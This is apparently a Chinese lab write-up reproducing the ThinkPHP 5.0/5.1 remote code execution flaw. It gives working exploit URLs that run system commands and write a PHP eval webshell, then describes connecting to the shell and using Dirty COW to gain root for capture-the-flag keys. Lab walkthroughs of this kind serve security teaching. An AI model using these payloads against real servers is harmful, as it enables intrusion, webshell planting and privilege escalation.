ThinkPHP5 RCE GetShell漏洞

由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本

复现漏洞:

下载带有漏洞的ThinkPHP版本,本地搭建漏洞测试环境

访问首页 public/index.php可以看到页面以及版本

输入EXP代码

http://192.168.1.102/thinkphp5/public/index.php?s=index/think\app/invokefunction
&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

命令成功执行,则证明存在此漏洞

使用ichunqiu的实验环境

执行代码创建abc.php一句话木马

index.php?s=index/\think\template\driver\file/write
&amp;cacheFile=aaa.php&amp;content=<?php @eval($_POST['cmd']);?>

访问public/aaa.php页面没有报错,木马上传成功 菜刀连接

在目录中找到key1.txt

进入命令行终端,查看当前用户为www,权限很低

利用dirty cow漏洞进行提权,上传提权exp文件到public目录下

上传成功,执行exp,后边跟ssh连接密码,发现无执行权限,chmod赋权

再次执行exp,查看到建立了一个root权限用户firefart,密码为pass123

使用putty连接ssh,登录,获取key2.txt内容

参考资料:

https://www.cnblogs.com/backlion/p/10106676.html

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

https://www.ichunqiu.com/experiment/detail?id=100306&source=2

您可能还喜欢...